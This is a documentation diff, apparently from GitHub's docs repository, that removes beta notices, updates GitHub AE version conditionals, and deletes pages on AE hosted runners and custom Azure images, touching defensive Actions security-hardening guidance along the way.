a/content/actions/security-guides/index.md b/content/actions/security-guides/index.md index d78297d77c..d0beceb690 100644 --- a/content/actions/security-guides/index.md +++ b/content/actions/security-guides/index.md @@ -13,4 +13,3 @@ children: - /automatic-token-authentication --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/security-guides/security-hardening-for-github-actions.md b/content/actions/security-guides/security-hardening-for-github-actions.md index 52ed166394..8b80be9c37 100644 --- a/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/content/actions/security-guides/security-hardening-for-github-actions.md @@ -18,7 +18,6 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Overview @@ -41,7 +40,7 @@ To help prevent accidental disclosure, {% data variables.product.product_name %} - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. - **Use credentials that are minimally scoped** - - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %} - **Audit and rotate registered secrets** - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. @@ -233,14 +232,14 @@ The attacker server can use the {% ifversion fpt or ghec %}{% data variables.pro ## Considering cross-repository access -{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: 1. **The `GITHUB_TOKEN`** - - This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + - This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." - The `GITHUB_TOKEN` should be used whenever possible. 2. **Repository deploy key** - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." @@ -255,11 +254,13 @@ This list describes the recommended approaches for accessing repository data wit ## Hardening for self-hosted runners +{% ifversion fpt %} **{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. +{% endif %} -**Self-hosted** runners on {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. +{% ifversion fpt %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. -As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. +{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." @@ -331,19 +332,19 @@ The following tables describe the {% data variables.product.prodname_actions %} |------------------|------------------- | `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." | `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. -| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} | `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." | `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." | `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). | `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." -| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} | `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." | `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." -| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} | `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." diff --git a/content/actions/using-containerized-services/about-service-containers.md b/content/actions/using-containerized-services/about-service-containers.md index 634c9aaf34..5487cf23f9 100644 --- a/content/actions/using-containerized-services/about-service-containers.md +++ b/content/actions/using-containerized-services/about-service-containers.md @@ -18,7 +18,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About service containers diff --git a/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/content/actions/using-containerized-services/creating-postgresql-service-containers.md index 47c53a92dd..645a542e6d 100644 --- a/content/actions/using-containerized-services/creating-postgresql-service-containers.md +++ b/content/actions/using-containerized-services/creating-postgresql-service-containers.md @@ -19,7 +19,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/using-containerized-services/creating-redis-service-containers.md b/content/actions/using-containerized-services/creating-redis-service-containers.md index 715bbfcb37..2b9ed40122 100644 --- a/content/actions/using-containerized-services/creating-redis-service-containers.md +++ b/content/actions/using-containerized-services/creating-redis-service-containers.md @@ -19,7 +19,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/using-containerized-services/index.md b/content/actions/using-containerized-services/index.md index 6b3c7bbafb..5fa792f1ea 100644 --- a/content/actions/using-containerized-services/index.md +++ b/content/actions/using-containerized-services/index.md @@ -17,4 +17,3 @@ children: - /creating-redis-service-containers --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md deleted file mode 100644 index ef56c743ec..0000000000 --- a/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: About AE hosted runners -intro: '{% data variables.product.prodname_ghe_managed %} offers customizable and security hardened hosted virtual machines to run {% data variables.product.prodname_actions %} workflows. You can select the hardware, bring your own machine image, and enable an IP address for networking with your {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## About {% data variables.actions.hosted_runner %}s - -An {% data variables.actions.hosted_runner %} is a virtual machine managed by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner service installed. {% data variables.actions.hosted_runner %}s are dedicated to your enterprise, and you can choose from a range of hardware and software options. By default, {% data variables.actions.hosted_runner %}s are fully managed and auto-scaled by {% data variables.product.company_short %} to maximize performance while minimizing costs.{% ifversion ghae-next %} You can optionally configure the parameters of this auto-scaling to reduce your cost even more.{% endif %} - -{% data variables.product.prodname_ghe_managed %} lets you create and customize {% data variables.actions.hosted_runner %}s using Ubuntu or Windows images; you can select the size of machine you want and optionally configure a fixed public IP range for your {% data variables.actions.hosted_runner %}s. - -Each workflow job is executed in a fresh instance of the {% data variables.actions.hosted_runner %}, and you can run workflows directly on the virtual machine or in a Docker container. All steps in the job execute in the same instance, allowing the actions in that job to share information using the {% data variables.actions.hosted_runner %}'s filesystem. - -To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, see ["Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." - -## Pool assignments for {% data variables.actions.hosted_runner %}s - -Your {% data variables.actions.hosted_runner %}s are allocated to the same pool as your {% data variables.product.prodname_ghe_managed %} instance. No other customers have access to this pool, and as a result, {% data variables.actions.hosted_runner %}s are not shared with any other customers. - -## Managing your {% data variables.actions.hosted_runner %}s - -During the {% data variables.actions.hosted_runner %} beta, you can manage your {% data variables.actions.hosted_runner %}s by contacting {% data variables.product.prodname_dotcom %} support. For example, {% data variables.product.prodname_dotcom %} support can assist you with adding a new {% data variables.actions.hosted_runner %}, assigning labels, or moving a {% data variables.actions.hosted_runner %} to a different group. - -## Billing - -Once the beta ends, billed usage will include the full uptime of active instances in your AE hosted runner sets. This includes: -- Job time - minutes spent running Actions job. -- Management - minutes spent re-imaging machines{% ifversion ghae-next %} and any idle time created as a result of desired auto-scale behavior{% endif %}. - -Pricing will scale linearly with cores. For example, 4 cores will be twice the price of 2 cores. Windows VMs will be priced higher than Linux VMs. - -## Hardware specifications - -{% data variables.actions.hosted_runner %}s are available on a range of virtual machines hosted in Microsoft Azure. Depending on regional availability, you can choose from `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Certain regions also include GPU runners based on `Standard_NCs_v3`. - -For more information about these Azure machine resources, see "[Sizes for virtual machines in Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" in the Microsoft Azure documentation. - -To determine which runner executed a job, you can review the workflow logs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." - -## Software specifications - -You can use {% data variables.actions.hosted_runner %}s with standard operating system images, or you can add images that you've created. - -### Default operating system images - -These images only include the standard operating system tools: - -- Ubuntu 18.04 LTS (Canonical) -- Ubuntu 16.04 LTS (Canonical) -- Windows Server 2019 (Microsoft) -- Windows Server 2016 (Microsoft) - -### Custom operating system images - -You can create your own OS images in Azure and have them added to {% data variables.product.prodname_ghe_managed %} as {% data variables.actions.hosted_runner %}s. For more information, see "[Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). - -## Network specifications - -You can optionally enable a fixed static public IP address for your {% data variables.actions.hosted_runner %}s. If enabled, all {% data variables.actions.hosted_runner %}s in your instance will share a range of 2 to 4 IP addresses, and will communicate using ports on those addresses. - -If you don't enable static public IP addresses, then your {% data variables.actions.hosted_runner %}s will subsequently have the same IP address ranges as the Azure datacenters. Inbound ICMP packets are blocked, so `ping` or `traceroute` commands are not expected to work. - -To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.actions.hosted_runner %}s, you can use the {% data variables.product.prodname_dotcom %} REST API . For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. You can use this list of IP addresses if you require an allow-list to prevent unauthorized access to your internal resources. - -The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. - -{% ifversion ghae-next %} - -## Autoscaling - -Each pool of {% data variables.actions.hosted_runner %}s is fully managed by {% data variables.product.company_short %} to maximize performance while minimizing costs. Optionally, you can configure the autoscaling parameters for your enterprise by contacting {% data variables.contact.github_support %}. You can define the minimum number of idle runners and how long a runner should remain idle before being removed from the pool. Each pool can contain up to 600 runners. - -{% endif %} - -## Administrative privileges for {% data variables.actions.hosted_runner %}s - -The Linux virtual machines run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." - -Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. - -## File systems - -{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. - -| Directory | Environment variable | Description | -|-----------|----------------------|-------------| -| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | -| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. - -For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." - -### Docker container filesystem - -Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. - -{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - -- `/github/home` -- `/github/workspace` - {% data reusables.repositories.action-root-user-required %} -- `/github/workflow` diff --git a/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/content/actions/using-github-hosted-runners/about-github-hosted-runners.md index b1956d1a34..60e791ab95 100644 --- a/content/actions/using-github-hosted-runners/about-github-hosted-runners.md +++ b/content/actions/using-github-hosted-runners/about-github-hosted-runners.md @@ -16,10 +16,8 @@ versions: shortTitle: GitHub-hosted runners --- -{% data reusables.actions.ae-hosted-runners-beta %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About {% data variables.product.prodname_dotcom %}-hosted runners diff --git a/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md b/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md deleted file mode 100644 index a0ea6512bb..0000000000 --- a/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Adding AE hosted runners -intro: 'You can add an {% data variables.actions.hosted_runner %} to an organization or an enterprise.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -{% note %} - -**Note:** To add {% data variables.actions.hosted_runner %}s to {% data variables.product.prodname_ghe_managed %}, you will need to contact {% data variables.product.prodname_dotcom %} support. This article describes the information that support will need in order to complete this process. - -{% endnote %} - -{% data variables.actions.hosted_runner %}s can use the base Azure operating system images, or you can create your own custom images. - -## Adding an {% data variables.actions.hosted_runner %} from the base Azure image - -You can add {% data variables.actions.hosted_runner %}s that use the base Azure operating system images. -To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, contact {% data variables.product.prodname_dotcom %} support and have the following information ready: - - Required operating system: Available options are listed at ["Software specifications](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)." - - Choose a name for each pool of {% data variables.actions.hosted_runner %}s. These names are created as labels, allowing you to route your workflows to these runners. For more information, see ["Using {% data variables.actions.hosted_runner %}s in a workflow](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)."{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Where to add the {% data variables.actions.hosted_runner %}: Identify the names of the organizations and enterprises that will receive the runners. - -## Adding an {% data variables.actions.hosted_runner %} with a custom image - -To create a custom operating system image, see the steps at ["Creating custom images"](/actions/using-github-hosted-runners/creating-custom-images). - -Once you've created a custom image using the above steps, contact {% data variables.product.prodname_dotcom %} support and provide the following details: - - - The SAS URI you generated when following the custom image creation steps. - - Type of operating system used by the image: This can be Linux or Windows. - - Image name. - - Version. - - VM SKU for the new pool. - - Choose a name for each pool of {% data variables.actions.hosted_runner %}s. These names are created as labels, allowing you to route your workflows to these runners. For more information, see ["Using {% data variables.actions.hosted_runner %}s in a workflow](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)."{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Where to add the {% data variables.actions.hosted_runner %}: Identify the names of the organizations and enterprises that will receive the runners. - -## Reviewing your {% data variables.actions.hosted_runner %}s - -Once your runners have been added by {% data variables.product.prodname_dotcom %} support, you'll be able to find them in your list of runners: - -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} diff --git a/content/actions/using-github-hosted-runners/creating-custom-images.md b/content/actions/using-github-hosted-runners/creating-custom-images.md deleted file mode 100644 index dd0c3b5683..0000000000 --- a/content/actions/using-github-hosted-runners/creating-custom-images.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Creating custom images -intro: 'You can create custom images for {% data variables.actions.hosted_runner %}s.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Creating an {% data variables.actions.hosted_runner %} with a custom image - -{% data variables.actions.hosted_runner %}s can use operating system images that you've customized to suit your needs. This article includes the high level steps for creating the image in Azure and preparing it for {% data variables.product.prodname_ghe_managed %}. For more information, refer to [the Azure documentation](https://docs.microsoft.com/en-us/azure/virtual-machines/). - -During this beta, to be able to create a custom image for {% data variables.actions.hosted_runner %}s, you will need an Azure subscription that is able to provision a virtual machine. - - -1. Provision a new VM in your tenant using a marketplace image or a virtual hard drive(VHD). -2. Optionally, install your required software on the VM. -3. Deprovision the VM: - - For Linux: `ssh` to the VM and run: - ```sh - $ sudo waagent -deprovision+user - ``` - - For Windows: Follow the steps described at ["Generalize the source VM by using Sysprep](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/upload-generalized-managed#generalize-the-source-vm-by-using-sysprep)." - -4. Use the Azure CLI to deallocate and generalize the VM: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - Stop-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Set-AzVM -ResourceGroupName $resourceGroupName -Name $vmName -Generalized - ``` - - Replace `octo-vm` with the name of your virtual machine. - - For more information regarding these steps, see "[How to create a managed image of a virtual machine or VHD](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/capture-image#step-1-deprovision-the-vm)." -5. Generate a SAS URI for the VM's operating system disk. - - Using the Azure Portal: On the disk resource, navigate to **Disk Export**, set `URL expires in (seconds)` to `86400` (24 hours), and generate the URL. - - Using the Azure CLI: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - $vm = Get-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Grant-AzDiskAccess ` - -ResourceGroupName $resourceGroupName ` - -DiskName $vm.StorageProfile.OsDisk.Name ` - -Access Read ` - -DurationInSecond 86400 - ``` - - Replace `octo-vm` with the name of your virtual machine. - -Once you've created the image, you can have it added to {% data variables.product.prodname_ghe_managed %}. For more information, see ["Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). diff --git a/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md b/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md index d018cd842e..6ba1c04fcd 100644 --- a/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md +++ b/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md @@ -10,9 +10,7 @@ topics: shortTitle: Customize runners --- -{% data reusables.actions.ae-hosted-runners-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} If you require additional software packages on {% data variables.product.prodname_dotcom %}-hosted runners, you can create a job that installs the packages as part of your workflow. diff --git a/content/actions/using-github-hosted-runners/index.md b/content/actions/using-github-hosted-runners/index.md index 305b32706c..c35d53ff24 100644 --- a/content/actions/using-github-hosted-runners/index.md +++ b/content/actions/using-github-hosted-runners/index.md @@ -3,21 +3,13 @@ title: Using GitHub-hosted runners intro: You can use GitHub's runners to execute your GitHub Actions workflows. versions: fpt: '*' - ghes: '*' - ghae: '*' ghec: '*' + ghes: '*' children: - /about-github-hosted-runners - /customizing-github-hosted-runners - - /about-ae-hosted-runners - - /adding-ae-hosted-runners - - /using-ae-hosted-runners-in-a-workflow - - /using-labels-with-ae-hosted-runners - - /using-groups-to-manage-access-to-ae-hosted-runners - - /creating-custom-images shortTitle: Use GitHub-hosted runners --- -{% data reusables.actions.ae-hosted-runners-beta %} + {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} diff --git a/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md b/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md deleted file mode 100644 index fb6d44714b..0000000000 --- a/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Using AE hosted runners in a workflow -intro: 'You can use labels to send jobs to a pool of {% data variables.actions.hosted_runner %}s.' -versions: - ghae: '*' -shortTitle: Use AE hosted runners ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Using {% data variables.actions.hosted_runner %}s in a workflow - -Labels allow you to send workflow jobs to any {% data variables.actions.hosted_runner %} that includes that label. You can use the default labels, and you can create your own custom labels. - -## Using default labels to route jobs - -An {% data variables.actions.hosted_runner %} receives a label when it is added to {% data variables.product.prodname_actions %}. The label is used to indicate where it was assigned. - -You can use your workflow's YAML to send jobs to a specific {% data variables.actions.hosted_runner %} pool. This example demonstrates how to configure a workflow to run on a label called `AE-runner-for-CI`: - -```yaml -runs-on: [AE-runner-for-CI] -``` - -For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)." - -## Using custom labels to route jobs - -You can create custom labels and assign them to your {% data variables.actions.hosted_runner %}s at any time. Custom labels let you send jobs to particular types of runners, based on how 